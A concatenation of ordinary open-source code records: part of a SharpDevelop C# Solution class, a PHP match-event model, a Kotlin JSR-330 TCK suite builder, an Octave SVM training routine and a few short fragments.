}\n\t\t}\n\t\t\n\t\t#region FileName\n\t\tpublic event EventHandler FileNameChanged = delegate { };\n\t\t\n\t\tpublic FileName FileName {\n\t\t\tget { return fileName; }\n\t\t\tprivate set {\n\t\t\t\tif (fileName != value) {\n\t\t\t\t\tthis.fileName = value;\n\t\t\t\t\tthis.directory = value.GetParentDirectory();\n\t\t\t\t\tUpdateMSBuildProperties();\n\t\t\t\t\tFileNameChanged(this, EventArgs.Empty);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic DirectoryName Directory {\n\t\t\tget { return directory; }\n\t\t}\n\t\t\n\t\tpublic override string Name {\n\t\t\tget {\n\t\t\t\treturn base.Name;\n\t\t\t}\n\t\t\tset {\n\t\t\t\tvar newFileName = directory.CombineFile(value + \".sln\");\n\t\t\t\tchangeWatcher.Disable();\n\t\t\t\ttry {\n\t\t\t\t\tif (!FileService.RenameFile(fileName, newFileName, false)) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\tbase.Name = value;\n\t\t\t\t\tthis.FileName = newFileName;\n\t\t\t\t\tchangeWatcher.Rename(newFileName);\n\t\t\t\t} finally {\n\t\t\t\t\tchangeWatcher.Enable();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t#endregion\n\t\t\n\t\t#region StartupProject\n\t\tpublic event EventHandler StartupProjectChanged = delegate { };\n\t\t\n\t\tIProject startupProject;\n\t\t\n\t\t[Browsable(false)]\n\t\tpublic IProject StartupProject {\n\t\t\tget {\n\t\t\t\tif (startupProject == null) {\n\t\t\t\t\tstartupProject = AutoDetectStartupProject();\n\t\t\t\t}\n\t\t\t\treturn startupProject;\n\t\t\t}\n\t\t\tset {\n\t\t\t\tif (value == null || value.ParentSolution != this)\n\t\t\t\t\tthrow new ArgumentException();\n\t\t\t\tif (startupProject != value) {\n\t\t\t\t\tstartupProject = value;\n\t\t\t\t\tpreferences.Set(\"StartupProject\", value.IdGuid.ToString());\n\t\t\t\t\tStartupProjectChanged(this, EventArgs.Empty);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tIProject AutoDetectStartupProject()\n\t\t{\n\t\t\tstring startupProjectGuidText = preferences.Get(\"StartupProject\", string.Empty);\n\t\t\tGuid startupProjectGuid;\n\t\t\tif (Guid.TryParse(startupProjectGuidText, out startupProjectGuid)) {\n\t\t\t\tvar project = projects.FirstOrDefault(p => p.IdGuid == startupProjectGuid);\n\t\t\t\tif (project != null)\n\t\t\t\t\treturn project;\n\t\t\t}\n\t\t\treturn projects.FirstOrDefault(p => p.IsStartable);\n\t\t}\n\t\t#endregion\n\t\t\n\t\t#region Project list\n\t\treadonly IMutableModelCollection projects; // = new SynchronizedModelCollection(new ProjectModelCollection(this));\n\t\t\n\t\tsealed class ProjectModelCollection : SimpleModelCollection\n\t\t{\n\t\t\tSolution solution;\n\t\t\t\n\t\t\tpublic ProjectModelCollection(Solution solution)\n\t\t\t{\n\t\t\t\tthis.solution = solution;\n\t\t\t}\n\t\t\t\n\t\t\tprotected override void OnCollectionChanged(IReadOnlyCollection removedItems, IReadOnlyCollection addedItems)\n\t\t\t{\n\t\t\t\tforeach (var project in addedItems) {\n\t\t\t\t\tproject.ProjectSections.CollectionChanged += solution.OnSolutionSectionCollectionChanged;\n\t\t\t\t\tproject.ConfigurationMapping.Changed += solution.OnProjectConfigurationMappingChanged;\n\t\t\t\t\tsolution.OnSolutionSectionCollectionChanged(EmptyList.Instance, project.ProjectSections);\n\t\t\t\t}\n\t\t\t\tforeach (var project in removedItems) {\n\t\t\t\t\tproject.ProjectSections.CollectionChanged -= solution.OnSolutionSectionCollectionChanged;\n\t\t\t\t\tproject.ConfigurationMapping.Changed -= solution.OnProjectConfigurationMappingChanged;\n\t\t\t\t\tsolution.OnSolutionSectionCollectionChanged(project.ProjectSections, EmptyList.Instance);\n\t\t\t\t}\n\t\t\t\t// If the startup project was removed, reset that property\n\t\t\t\tbool startupProjectWasRemoved = removedItems.Contains(solution.startupProject);\n\t\t\t\tif (startupProjectWasRemoved)\n\t\t\t\t\tsolution.startupProject = null; // this will force auto-detection on the next property access\n\t\t\t\tbase.OnCollectionChanged(removedItems, addedItems);\n\t\t\t\t// After the event is raised; dispose any removed projects.\n\t\t\t\t// Note that this method is only called at the end of a batch update.\n\t\t\t\t// When moving a project from one folder to another, a batch update\n\t\t\t\t// must be used to prevent the project from being disposed.\n\t\t\t\tforeach (var project in removedItems)\n\t\t\t\t\tproject.Dispose();\n\t\t\t\tif (startupProjectWasRemoved || (solution.startupProject == null && addedItems.Contains(solution.AutoDetectStartupProject())))\n\t\t\t\t\tsolution.StartupProjectChanged(solution, EventArgs.Empty);\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic IModelCollection Projects {\n\t\t\tget { return projects; }\n\t\t}\n\t\t\n\t\tinternal IDisposable ReportBatch()\n\t\t{\n\t\t\treturn projects.BatchUpdate();\n\t\t}\n\t\t\n\t\tinternal void ReportRemovedItem(ISolutionItem oldItem)\n\t\t{\n\t\t\tif (oldItem is ISolutionFolder) {\n\t\t\t\t// recurse into removed folders\n\t\t\t\tforeach (var childItem in ((ISolutionFolder)oldItem).Items) {\n\t\t\t\t\tReportRemovedItem(childItem);\n\t\t\t\t}\n\t\t\t} else if (oldItem is IProject) {\n\t\t\t\tprojects.Remove((IProject)oldItem);\n\t\t\t}\n\t\t}\n\t\t\n\t\tinternal void ReportAddedItem(ISolutionItem newItem)\n\t\t{\n\t\t\tif (newItem is ISolutionFolder) {\n\t\t\t\t// recurse into added folders\n\t\t\t\tforeach (var childItem in ((ISolutionFolder)newItem).Items) {\n\t\t\t\t\tReportAddedItem(childItem);\n\t\t\t\t}\n\t\t\t} else if (newItem is IProject) {\n\t\t\t\tprojects.Add((IProject)newItem);\n\t\t\t}\n\t\t}\n\t\t#endregion\n\t\t\n\t\t[Browsable(false)]\n\t\tpublic IEnumerable AllItems {\n\t\t\tget {\n\t\t\t\treturn this.Items.Flatten(i => i is ISolutionFolder ? ((ISolutionFolder)i).Items : null);\n\t\t\t}\n\t\t}\n\t\t\n\t\treadonly IMutableModelCollection globalSections;\n\t\t\n\t\tpublic IMutableModelCollection GlobalSections {\n\t\t\tget { return globalSections; }\n\t\t}\n\t\t\n\t\tvoid OnProjectConfigurationMappingChanged(object sender, EventArgs e)\n\t\t{\n\t\t\tthis.IsDirty = true;\n\t\t}\n\t\t\n\t\tvoid OnSolutionSectionCollectionChanged(IReadOnlyCollection oldItems, IReadOnlyCollection newItems)\n\t\t{\n\t\t\tthis.IsDirty = true;\n\t\t\tforeach (var section in oldItems) {\n\t\t\t\tsection.Changed -= OnSolutionSectionChanged;\n\t\t\t}\n\t\t\tforeach (var section in newItems) {\n\t\t\t\tsection.Changed += OnSolutionSectionChanged;\n\t\t\t}\n\t\t}\n\t\t\n\t\tvoid OnSolutionSectionChanged(object sender, EventArgs e)\n\t\t{\n\t\t\tthis.IsDirty = true;\n\t\t}\n\t\t\n\t\tpublic ISolutionItem GetItemByGuid(Guid guid)\n\t\t{\n\t\t\t// Maybe we should maintain a dictionary to make these lookups faster?\n\t\t\t// But I don't think lookups by GUID are commonly used...\n\t\t\treturn this.AllItems.FirstOrDefault(i => i.IdGuid == guid);\n\t\t}\n\t\t\n\t\t#region Preferences\n\t\tProperties preferences = new Properties();\n\t\t\n\t\t[Browsable(false)]\n\t\tpublic Properties Preferences {\n\t\t\tget { return preferences; }\n\t\t}\n\t\t\n\t\tProperties sdSettings = new Properties();\n\t\t\n\t\t[Browsable(false)]\n\t\tpublic Properties SDSettings {\n\t\t\tget { return sdSettings; }\n\t\t}\n\t\t\n\t\tstring GetPreferencesKey()\n\t\t{\n\t\t\treturn \"solution:\" + fileName.ToString().ToUpperInvariant();\n\t\t}\n\t\t\n\t\tinternal void LoadPreferences()\n\t\t{\n\t\t\ttry {\n\t\t\t\tpreferences = SD.PropertyService.LoadExtraProperties(GetPreferencesKey());\n\t\t\t\tsdSettings = Properties.Load(sdSettingsFileName);\n\t\t\t} catch (IOException) {\n\t\t\t} catch (XmlException) {\n\t\t\t\t// ignore errors about inaccessible or malformed files\n\t\t\t}\n\t\t\t// Load active configuration from preferences\n\t\t\tCreateDefaultConfigurationsIfMissing();\n\t\t\tthis.ActiveConfiguration = ConfigurationAndPlatform.FromKey(preferences.Get(\"ActiveConfiguration\", \"Debug|Any CPU\"));\n\t\t\tValidateConfiguration();\n\t\t\t// We can't set the startup project property yet; LoadPreferences() is called before\n\t\t\t// the projects are loaded into the solution.\n\t\t\t// This is necessary so that the projects can be loaded in the correct configuration\n\t\t\t// - we avoid an expensive configuration switch during solution load.\n\t\t}\n\t\t\n\t\tpublic event EventHandler PreferencesSaving = delegate { };\n\t\t\n\t\tpublic void SavePreferences()\n\t\t{\n\t\t\tpreferences.Set(\"ActiveConfiguration\", activeConfiguration.ToString());\n\t\t\tPreferencesSaving(this, EventArgs.Empty);\n\t\t\t\n\t\t\ttry {\n\t\t\t\tSD.PropertyService.SaveExtraProperties(GetPreferencesKey(), preferences);\n\t\t\t\tif (sdSettings.IsDirty) {\n\t\t\t\t\tsdSettings.Save(sdSettingsFileName);\n\t\t\t\t}\n\t\t\t} catch (IOException) {\n\t\t\t} catch (UnauthorizedAccessException) {\n\t\t\t\t// ignore errors writing to extra properties\n\t\t\t}\n\t\t}\n\t\t#endregion\n\t\t\n\t\t#region Save\n\t\tpublic void Save()\n\t\t{\n\t\t\ttry {\n\t\t\t\tchangeWatcher.Disable();\n\t\t\t\tusing (var solutionWriter = new SolutionWriter(fileName)) {\n\t\t\t\t\tvar version = ComputeSolutionVersion();\n\t\t\t\t\tsolutionWriter.WriteFormatHeader(version);\n\t\t\t\t\tsolutionWriter.WriteSolutionVersionProperties(version, currVSVersion ?? DefaultVSVersion, minVSVersion ?? DefaultMinVSVersion);\n\t\t\t\t\tsolutionWriter.WriteSolutionItems(this);\n\t\t\t\t\tsolutionWriter.WriteGlobalSections(this);\n\t\t\t\t}\n\t\t\t\tchangeWatcher.Enable();\n\t\t\t} catch (IOException ex) {\n\t\t\t\tMessageService.ShowErrorFormatted(\"${res:SharpDevelop.Solution.CannotSave.IOException}\", fileName, ex.Message);\n\t\t\t} catch (UnauthorizedAccessException ex) {\n\t\t\t\tFileAttributes attributes = File.GetAttributes(fileName);\n\t\t\t\tif ((FileAttributes.ReadOnly & attributes) == FileAttributes.ReadOnly) {\n\t\t\t\t\tMessageService.ShowErrorFormatted(\"${res:SharpDevelop.Solution.CannotSave.ReadOnly}\", fileName);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tMessageService.ShowErrorFormatted\n\t\t\t\t\t(\"${res:SharpDevelop.Solution.CannotSave.UnauthorizedAccessException}\", fileName, ex.Message);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tSolutionFormatVersion ComputeSolutionVersion()\n\t\t{\n\t\t\tSolutionFormatVersion version = SolutionFormatVersion.VS2005;\n\t\t\tforeach (var project in this.Projects) {\n\t\t\t\tif (project.MinimumSolutionVersion > version)\n\t\t\t\t\tversion = project.MinimumSolutionVersion;\n\t\t\t}\n\t\t\t\n\t\t\tif ((minVSVersion != null || currVSVersion != null) && version < SolutionFormatVersion.VS2012)\n\t\t\t\tversion = SolutionFormatVersion.VS2012;\n\t\t\treturn version;\n\t\t}\n\t\t#endregion\n\t\t\n\t\t#region MSBuildProjectCollection\n\t\treadonly Microsoft.Build.Evaluation.ProjectCollection msBuildProjectCollection = new Microsoft.Build.Evaluation.ProjectCollection();\n\t\t\n\t\t[Browsable(false)]\n\t\tpublic Microsoft.Build.Evaluation.ProjectCollection MSBuildProjectCollection {\n\t\t\tget { return msBuildProjectCollection; }\n\t\t}\n\t\t\n\t\tvoid UpdateMSBuildProperties()\n\t\t{\n\t\t\tvar dict = new Dictionary();\n\t\t\tMSBuildInternals.AddMSBuildSolutionProperties(this, dict);\n\t\t\tforeach (var pair in dict) {\n\t\t\t\tmsBuildProjectCollection.SetGlobalProperty(pair.Key, pair.Value);\n\t\t\t}\n\t\t}\n\t\t#endregion\n\t\t\n\t\t#region Handle FileService.FileRenamed / FileRemoved\n\t\tvoid FileServiceFileRenamed(object sender, FileRenameEventArgs e)\n\t\t{\n\t\t\tstring oldName = e.SourceFile;\n\t\t\tstring newName = e.TargetFile;\n\t\t\tforeach (ISolutionFileItem fileItem in this.AllItems.OfType()) {\n\t\t\t\tif (FileUtility.IsBaseDirectory(oldName, fileItem.FileName)) {\n\t\t\t\t\tstring newFullName = FileUtility.RenameBaseDirectory(fileItem.FileName, oldName, newName);\n\t\t\t\t\tfileItem.FileName = FileName.Create(newFullName);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tforeach (IProject project in this.Projects) {\n\t\t\t\tif (FileUtility.IsBaseDirectory(project.Directory, oldName)) {\n\t\t\t\t\tforeach (ProjectItem item in project.Items) {\n\t\t\t\t\t\tif (FileUtility.IsBaseDirectory(oldName, item.FileName)) {\n\t\t\t\t\t\t\tSD.GetRequiredService().RaiseProjectItemRemoved(new ProjectItemEventArgs(project, item));\n\t\t\t\t\t\t\titem.FileName = FileName.Create(FileUtility.RenameBaseDirectory(item.FileName, oldName, newName));\n\t\t\t\t\t\t\tSD.GetRequiredService().RaiseProjectItemAdded(new ProjectItemEventArgs(project, item));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tvoid FileServiceFileRemoved(object sender, FileEventArgs e)\n\t\t{\n\t\t\tstring fileName = e.FileName;\n\t\t\t\n\t\t\tforeach (ISolutionFileItem fileItem in this.AllItems.OfType().ToArray()) {\n\t\t\t\tif (FileUtility.IsBaseDirectory(fileName, fileItem.FileName)) {\n\t\t\t\t\tfileItem.ParentFolder.Items.Remove(fileItem);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tforeach (IProject project in this.Projects) {\n\t\t\t\tif (FileUtility.IsBaseDirectory(project.Directory, fileName)) {\n\t\t\t\t\tforeach (ProjectItem item in project.Items.ToArray()) {\n\t\t\t\t\t\tif (FileUtility.IsBaseDirectory(fileName, item.FileName)) {\n\t\t\t\t\t\t\tproject.Items.Remove(item);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t#endregion\n\t\t\n\t\tpublic bool IsReadOnly {\n\t\t\tget {\n\t\t\t\ttry {\n\t\t\t\t\tFileAttributes attributes = File.GetAttributes(fileName);\n\t\t\t\t\treturn ((FileAttributes.ReadOnly & attributes) == FileAttributes.ReadOnly);\n\t\t\t\t} catch (FileNotFoundException) {\n\t\t\t\t\treturn false;\n\t\t\t\t} catch (DirectoryNotFoundException) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t#region IConfigurable implementation\n\t\tConfigurationAndPlatform activeConfiguration = new ConfigurationAndPlatform(\"Debug\", \"AnyCPU\");\n\t\t\n\t\tpublic ConfigurationAndPlatform ActiveConfiguration {\n\t\t\tget { return activeConfiguration; }\n\t\t\tset {\n\t\t\t\tif (value.Configuration == null || value.Platform == null)\n\t\t\t\t\tthrow new ArgumentNullException();\n\t\t\t\t\n\t\t\t\tif (activeConfiguration != value) {\n\t\t\t\t\tactiveConfiguration = value;\n\t\t\t\t\t\n\t\t\t\t\t// Apply changed configuration to all projects:\n\t\t\t\t\tforeach (var project in this.Projects) {\n\t\t\t\t\t\tproject.ActiveConfiguration = project.ConfigurationMapping.GetProjectConfiguration(value);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tActiveConfigurationChanged(this, EventArgs.Empty);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic event EventHandler ActiveConfigurationChanged = delegate { };\n\t\t\n\t\t[Browsable(false)]\n\t\tpublic IConfigurationOrPlatformNameCollection ConfigurationNames { get; private set; }\n\t\t[Browsable(false)]\n\t\tpublic IConfigurationOrPlatformNameCollection PlatformNames { get; private set; }\n\t\t\n\t\tvoid CreateDefaultConfigurationsIfMissing()\n\t\t{\n\t\t\tif (this.ConfigurationNames.Count == 0) {\n\t\t\t\tthis.ConfigurationNames.Add(\"Debug\");\n\t\t\t\tthis.ConfigurationNames.Add(\"Release\");\n\t\t\t}\n\t\t\tif (this.PlatformNames.Count == 0) {\n\t\t\t\tthis.PlatformNames.Add(\"Any CPU\");\n\t\t\t}\n\t\t}\n\t\t\n\t\tvoid ValidateConfiguration()\n\t\t{\n\t\t\tstring config = this.ActiveConfiguration.Configuration;\n\t\t\tstring platform = this.ActiveConfiguration.Platform;\n\t\t\tif (!this.ConfigurationNames.Contains(config))\n\t\t\t\tconfig = this.ConfigurationNames.First();\n\t\t\tif (!this.PlatformNames.Contains(platform))\n\t\t\t\tplatform = this.PlatformNames.First();\n\t\t\tthis.ActiveConfiguration = new ConfigurationAndPlatform(config, platform);\n\t\t}\n\t\t#endregion\n\t\t\n\t\t#region ICanBeDirty implementation\n\t\tpublic event EventHandler IsDirtyChanged;\n\t\t\n\t\tbool isDirty;\n\t\t\n\t\t[Browsable(false)]\n\t\tpublic bool IsDirty {\n\t\t\tget { return isDirty; }\n\t\t\tset {\n\t\t\t\tif (isDirty != value) {\n\t\t\t\t\tisDirty = value;\n\t\t\t\t\t\n\t\t\t\t\tif (IsDirtyChanged != null) {\n\t\t\t\t\t\tIsDirtyChanged(this, EventArgs.Empty);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t#endregion\n\t\t\n\t\t[EditorAttribute(typeof(FormatterSettingsEditor), typeof(UITypeEditor))]\n\t\tpublic object FormatterSettings\n\t\t{\n\t\t\tget {\n\t\t\t\t// We don't need any return value etc.\n\t\t\t\treturn null;\n\t\t\t}\n\t\t}\n\t\t\n\t\t/// \n\t\t/// Pseudo-editor showing a \"...\" for FormattingSettings option and opening the formatting editor for solution\n\t\t/// \n\t\tclass FormatterSettingsEditor : UITypeEditor\n\t\t{\n\t\t\tpublic override UITypeEditorEditStyle GetEditStyle(ITypeDescriptorContext context)\n\t\t\t{\n\t\t\t\treturn UITypeEditorEditStyle.Modal;\n\t\t\t}\n\t\t\t\n\t\t\tpublic override object EditValue(ITypeDescriptorContext context, IServiceProvider provider, object value)\n\t\t\t{\n\t\t\t\tvar treeNode = AddInTree.GetTreeNode(\"/SharpDevelop/Dialogs/SolutionFormattingOptionsDialog\", false);\n\t\t\t\tbool? result = ICSharpCode.SharpDevelop.Commands.OptionsCommand.ShowTreeOptions(\"SolutionFormattingOptionsDialog\",\n\t\t\t\t\tStringParser.Parse(\"${res:ICSharpCode.SharpDevelop.Project.SolutionFormattingOptions.Title}\"),\n\t\t\t\t\ttreeNode);\n\t\t\t\tif ((bool) result) {\n\t\t\t\t\t// Formatting options have been changed, make solution dirty\n\t\t\t\t\tvar solution = context.Instance as Solution;\n\t\t\t\t\tif (solution != null) {\n\t\t\t\t\t\tsolution.IsDirty = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn null;\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic override string ToString()\n\t\t{\n\t\t\treturn \"[Solution \" + fileName + \" with \" + projects.Count + \" projects]\";\n\t\t}\n\t\t\n\t\tpublic Version VSVersion {\n\t\t\tget { return currVSVersion; }\n\t\t}\n\t\t\n\t\tpublic Version MinVSVersion {\n\t\t\tget { return minVSVersion; }\n\t\t}\n\t}\n}\n\t\t\t\t\t\t"} +{"text": ". Licensed under the GNU Affero General Public License v3.0.\n// See the LICENCE file in the repository root for full licence text.\n\nnamespace App\\Models\\Match;\n\nuse App\\Models\\User;\n\n/**\n * @property mixed $detail\n * @property int $event_id\n * @property Game $game\n * @property int|null $game_id\n * @property Match $match\n * @property int $match_id\n * @property string|null $text\n * @property \\Carbon\\Carbon|null $timestamp\n * @property User $user\n * @property int|null $user_id\n */\nclass Event extends Model\n{\n protected $primaryKey = 'event_id';\n protected $dates = [\n 'timestamp',\n ];\n public $timestamps = false;\n\n const EVENT_TYPES = [\n 'player-left' => 'PART',\n 'player-joined' => 'JOIN',\n 'player-kicked' => 'KICK',\n 'match-created' => 'CREATE',\n 'match-disbanded' => 'DISBAND',\n 'host-changed' => 'HOST',\n ];\n\n public function match()\n {\n return $this->belongsTo(Match::class, 'match_id');\n }\n\n public function game()\n {\n return $this->belongsTo(Game::class, 'game_id');\n }\n\n public function user()\n {\n return $this->belongsTo(User::class, 'user_id');\n }\n\n public function scopeDefault($query)\n {\n return $query->orderBy('event_id', 'asc');\n }\n\n public function getDetailAttribute()\n {\n $value = $this->text;\n\n if (in_array($value, self::EVENT_TYPES, true)) {\n return ['type' => array_search_null($value, self::EVENT_TYPES)];\n } else {\n return ['type' => 'other', 'text' => $value];\n }\n }\n}\n"} +{"text": "module.exports = require('regenerate')().addRange(0x10450, 0x1047F);\n"} +{"text": "/*\n * Copyright (C) 2009 The JSR-330 Expert Group\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.atinject.tck.auto\n\nimport junit.framework.Test\nimport junit.framework.TestSuite\n\n/**\n * Manufactures the compatibility test suite. This TCK relies on\n * [JUnit](http://junit.org/). To integrate the TCK with your\n * injector, create a JUnit test suite class that passes an injected\n * [Car] instance to [testsFor(Car)][.testsFor]:\n *\n *\n *\n * The static `suite` method that returns a `Test` is a JUnit\n * convention. Feel free to run the returned tests in other ways.\n *\n *\n * Configure the injector as follows:\n *\n *\n * * [org.atinject.tck.auto.Car] is implemented by\n * [Convertible][org.atinject.tck.auto.Convertible].\n * * [@Drivers][org.atinject.tck.auto.Drivers]\n * [Seat][org.atinject.tck.auto.Seat] is\n * implemented by [DriversSeat][org.atinject.tck.auto.DriversSeat].\n * * [Seat][org.atinject.tck.auto.Seat] is\n * implemented by [Seat][org.atinject.tck.auto.Seat] itself, and\n * [Tire][org.atinject.tck.auto.Tire] by\n * [Tire][org.atinject.tck.auto.Tire] itself\n * (not subclasses).\n * * [Engine][org.atinject.tck.auto.Engine] is implemented by\n * [V8Engine][org.atinject.tck.auto.V8Engine].\n * * [@Named("spare")][javax.inject.Named]\n * [Tire][org.atinject.tck.auto.Tire] is implemented by\n * [SpareTire][org.atinject.tck.auto.accessories.SpareTire].\n * * The following classes may also be injected directly:\n * [Cupholder][org.atinject.tck.auto.accessories.Cupholder],\n * [SpareTire][org.atinject.tck.auto.accessories.SpareTire], and\n * [FuelTank][org.atinject.tck.auto.FuelTank].\n *\n *\n *\n * Static and private member injection support is optional, but if your\n * injector supports those features, it must pass the respective tests. If\n * static member injection is supported, the static members of the following\n * types shall also be injected once:\n * [Convertible][org.atinject.tck.auto.Convertible],\n * [Tire][org.atinject.tck.auto.Tire], and\n * [SpareTire][org.atinject.tck.auto.accessories.SpareTire].\n *\n *\n * Use your favorite JUnit tool to run the tests. For example, you can use\n * your IDE or JUnit's command line runner:\n *\n * 
\n * java -cp javax.inject-tck.jar:junit.jar:myinjector.jar \\\n * junit.textui.TestRunner MyTck
\n */\nobject Tck {\n\n /**\n * Constructs a JUnit test suite for the given [Car] instance.\n *\n * @param car to test\n * @param supportsStatic true if the injector supports static member\n * injection\n * @param supportsPrivate true if the injector supports private member\n * injection\n *\n * @throws NullPointerException if car is null\n * @throws ClassCastException if car doesn't extend\n * [Convertible]\n */\n fun testsFor(car: Car?, supportsStatic: Boolean,\n supportsPrivate: Boolean): Test {\n if (car == null) {\n throw NullPointerException(\"car\")\n }\n\n if (!(car is Convertible)) {\n throw ClassCastException(\"car doesn't implement Convertible\")\n }\n\n Convertible.localConvertible.set(car as Convertible?)\n try {\n val suite = TestSuite(Convertible.Tests::class.java)\n if (supportsStatic) {\n// suite.addTestSuite(Convertible.StaticTests.class);\n }\n if (supportsPrivate) {\n suite.addTestSuite(Convertible.PrivateTests::class.java)\n }\n return suite\n } finally {\n Convertible.localConvertible.remove()\n }\n }\n}\n"} +{"text": "function [model] = svmTrain(X, Y, C, kernelFunction, ...\n tol, max_passes)\n%SVMTRAIN Trains an SVM classifier using a simplified version of the SMO \n%algorithm. \n% [model] = SVMTRAIN(X, Y, C, kernelFunction, tol, max_passes) trains an\n% SVM classifier and returns trained model. X is the matrix of training \n% examples. Each row is a training example, and the jth column holds the \n% jth feature. Y is a column matrix containing 1 for positive examples \n% and 0 for negative examples. C is the standard SVM regularization \n% parameter. tol is a tolerance value used for determining equality of \n% floating point numbers. max_passes controls the number of iterations\n% over the dataset (without changes to alpha) before the algorithm quits.\n%\n% Note: This is a simplified version of the SMO algorithm for training\n% SVMs. In practice, if you want to train an SVM classifier, we\n% recommend using an optimized package such as: \n%\n% LIBSVM (http://www.csie.ntu.edu.tw/~cjlin/libsvm/)\n% SVMLight (http://svmlight.joachims.org/)\n%\n%\n\nif ~exist('tol', 'var') || isempty(tol)\n tol = 1e-3;\nend\n\nif ~exist('max_passes', 'var') || isempty(max_passes)\n max_passes = 5;\nend\n\n% Data parameters\nm = size(X, 1);\nn = size(X, 2);\n\n% Map 0 to -1\nY(Y==0) = -1;\n\n% Variables\nalphas = zeros(m, 1);\nb = 0;\nE = zeros(m, 1);\npasses = 0;\neta = 0;\nL = 0;\nH = 0;\n\n% Pre-compute the Kernel Matrix since our dataset is small\n% (in practice, optimized SVM packages that handle large datasets\n% gracefully will _not_ do this)\n% \n% We have implemented optimized vectorized version of the Kernels here so\n% that the svm training will run faster.\nif strcmp(func2str(kernelFunction), 'linearKernel')\n % Vectorized computation for the Linear Kernel\n % This is equivalent to computing the kernel on every pair of examples\n K = X*X';\nelseif strfind(func2str(kernelFunction), 'gaussianKernel')\n % Vectorized RBF Kernel\n % This is equivalent to computing the kernel on every pair of examples\n X2 = sum(X.^2, 2);\n K = bsxfun(@plus, X2, bsxfun(@plus, X2', - 2 * (X * X')));\n K = kernelFunction(1, 0) .^ K;\nelse\n % Pre-compute the Kernel Matrix\n % The following can be slow due to the lack of vectorization\n K = zeros(m);\n for i = 1:m\n for j = i:m\n K(i,j) = kernelFunction(X(i,:)', X(j,:)');\n K(j,i) = K(i,j); %the matrix is symmetric\n end\n end\nend\n\n% Train\nfprintf('\\nTraining ...');\ndots = 12;\nwhile passes < max_passes,\n \n num_changed_alphas = 0;\n for i = 1:m,\n \n % Calculate Ei = f(x(i)) - y(i) using (2). \n % E(i) = b + sum (X(i, :) * (repmat(alphas.*Y,1,n).*X)') - Y(i);\n E(i) = b + sum (alphas.*Y.*K(:,i)) - Y(i);\n \n if ((Y(i)*E(i) < -tol && alphas(i) < C) || (Y(i)*E(i) > tol && alphas(i) > 0)),\n \n % In practice, there are many heuristics one can use to select\n % the i and j. In this simplified code, we select them randomly.\n j = ceil(m * rand());\n while j == i, % Make sure i \\neq j\n j = ceil(m * rand());\n end\n\n % Calculate Ej = f(x(j)) - y(j) using (2).\n E(j) = b + sum (alphas.*Y.*K(:,j)) - Y(j);\n\n % Save old alphas\n alpha_i_old = alphas(i);\n alpha_j_old = alphas(j);\n \n % Compute L and H by (10) or (11). \n if (Y(i) == Y(j)),\n L = max(0, alphas(j) + alphas(i) - C);\n H = min(C, alphas(j) + alphas(i));\n else\n L = max(0, alphas(j) - alphas(i));\n H = min(C, C + alphas(j) - alphas(i));\n end\n \n if (L == H),\n % continue to next i. \n continue;\n end\n\n % Compute eta by (14).\n eta = 2 * K(i,j) - K(i,i) - K(j,j);\n if (eta >= 0),\n % continue to next i. \n continue;\n end\n \n % Compute and clip new value for alpha j using (12) and (15).\n alphas(j) = alphas(j) - (Y(j) * (E(i) - E(j))) / eta;\n \n % Clip\n alphas(j) = min (H, alphas(j));\n alphas(j) = max (L, alphas(j));\n \n % Check if change in alpha is significant\n if (abs(alphas(j) - alpha_j_old) < tol),\n % continue to next i. \n % replace anyway\n alphas(j) = alpha_j_old;\n continue;\n end\n \n % Determine value for alpha i using (16). \n alphas(i) = alphas(i) + Y(i)*Y(j)*(alpha_j_old - alphas(j));\n \n % Compute b1 and b2 using (17) and (18) respectively. \n b1 = b - E(i) ...\n - Y(i) * (alphas(i) - alpha_i_old) * K(i,j)' ...\n - Y(j) * (alphas(j) - alpha_j_old) * K(i,j)';\n b2 = b - E(j) ...\n - Y(i) * (alphas(i) - alpha_i_old) * K(i,j)' ...\n - Y(j) * (alphas(j) - alpha_j_old) * K(j,j)';\n\n % Compute b by (19). \n if (0 < alphas(i) && alphas(i) < C),\n b = b1;\n elseif (0 < alphas(j) && alphas(j) < C),\n b = b2;\n else\n b = (b1+b2)/2;\n end\n\n num_changed_alphas = num_changed_alphas + 1;\n\n end\n \n end\n \n if (num_changed_alphas == 0),\n passes = passes + 1;\n else\n passes = 0;\n end\n\n fprintf('.');\n dots = dots + 1;\n if dots > 78\n dots = 0;\n fprintf('\\n');\n end\n if exist('OCTAVE_VERSION')\n fflush(stdout);\n end\nend\nfprintf(' Done! \\n\\n');\n\n% Save the model\nidx = alphas > 0;\nmodel.X= X(idx,:);\nmodel.y= Y(idx);\nmodel.kernelFunction = kernelFunction;\nmodel.b= b;\nmodel.alphas= alphas(idx);\nmodel.w = ((alphas.*Y)'*X)';\n\nend\n"} +{"text": ".so man2/getattrlist.2\n"} +{"text": "---\nfacebook: 'https://facebook.com/composeio'\ngithub: bdadam/OptimizedWebfontLoading\ngoogleplus: 